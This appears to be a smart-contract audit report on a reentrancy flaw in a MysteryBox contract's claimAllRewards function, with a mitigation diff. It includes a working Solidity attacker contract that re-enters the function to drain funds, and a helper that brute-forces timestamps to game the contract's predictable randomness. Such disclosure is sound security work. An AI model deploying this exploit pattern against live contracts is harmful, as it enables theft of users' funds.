Summary
The MysteryBox::claimAllRewards function does not adhere to the CEI/FREI-PI principle, which allows any user with a non-zero reward to drain the contract balance. This occurs because the function updates the rewardsOwned array only after making an external call to msg.sender.
Vulnerability Details
In the claimAllRewards function, the contract first performs an external call to the user's address before updating their reward status. This can lead to reentrancy attacks, allowing users to exploit this vulnerability to claim rewards multiple times.
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender];
}
A malicious user could implement a fallback or receive function that calls claimAllRewards again, continuously draining the contract until its balance is depleted.
Impact
This vulnerability allows a user to drain the contract balance entirely, leading to a loss of funds for the contract owner and other users.
Proof of Concept
Users purchase boxes.
An attacker sets up a contract with a fallback function that calls MysteryBox::claimAllRewards.
The attacker buys a box, opens it, and receives a non-zero reward. The MysteryBox::openBox function can be manipulated to guarantee this reward.
The attacker calls MysteryBox::claimAllRewards from their contract, draining the contract balance.
Proof of Code
Add the following code to the TestMysteryBoxTest.t.sol file within the MysteryBoxTest contract:
function calculateWinTimestampValue(address addr) public view returns (uint256) {
uint256 value;
uint256 winTime = block.timestamp;
do {
winTime++;
value = uint256(keccak256(abi.encodePacked(winTime, addr))) % 100;
} while (value < 95);
return winTime;
}
function testReentrancyClaimAllRewards() public {
ReentrancyAttackerClaimAllRewards attacker = new ReentrancyAttackerClaimAllRewards(address(mysteryBox));
uint256 boxPrice = mysteryBox.boxPrice();
vm.deal(address(attacker), boxPrice);
uint256 winningTimestamp = calculateWinTimestampValue(address(attacker));
vm.warp(winningTimestamp);
uint256 startingContractBalance = address(mysteryBox).balance;
attacker.attack();
uint256 endingAttackerBalance = address(attacker).balance;
uint256 endingContractBalance = address(mysteryBox).balance;
uint256 rewardValue = attacker.rewardValue();
uint256 totalMysteryBoxValue = startingContractBalance + boxPrice;
uint256 numberOfDuplicates = totalMysteryBoxValue / rewardValue;
uint256 totalWithdrawnToAttacker = rewardValue * numberOfDuplicates;
assertEq(endingAttackerBalance, totalWithdrawnToAttacker);
assertEq(endingContractBalance, totalMysteryBoxValue - totalWithdrawnToAttacker);
}
Add the following code to the TestMysteryBoxTest.t.sol file:
contract ReentrancyAttackerClaimAllRewards {
MysteryBox public mysteryBox;
uint256 public boxPrice;
uint256 public rewardValue;
constructor (address _mysteryBox) {
mysteryBox = MysteryBox(_mysteryBox);
boxPrice = mysteryBox.boxPrice();
}
function attack() external payable {
mysteryBox.buyBox{value: boxPrice}();
mysteryBox.openBox();
rewardValue = mysteryBox.getRewards()[0].value;
mysteryBox.claimAllRewards();
}
receive() external payable {
if (address(mysteryBox).balance > rewardValue) {
mysteryBox.claimAllRewards();
}
}
fallback() external payable {
if (address(mysteryBox).balance > rewardValue) {
mysteryBox.claimAllRewards();
}
}
}
Recommended Mitigation
To prevent this vulnerability, the MysteryBox::claimAllRewards function should update the rewardsOwned array before making any external calls, as shown below:
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
+ delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}
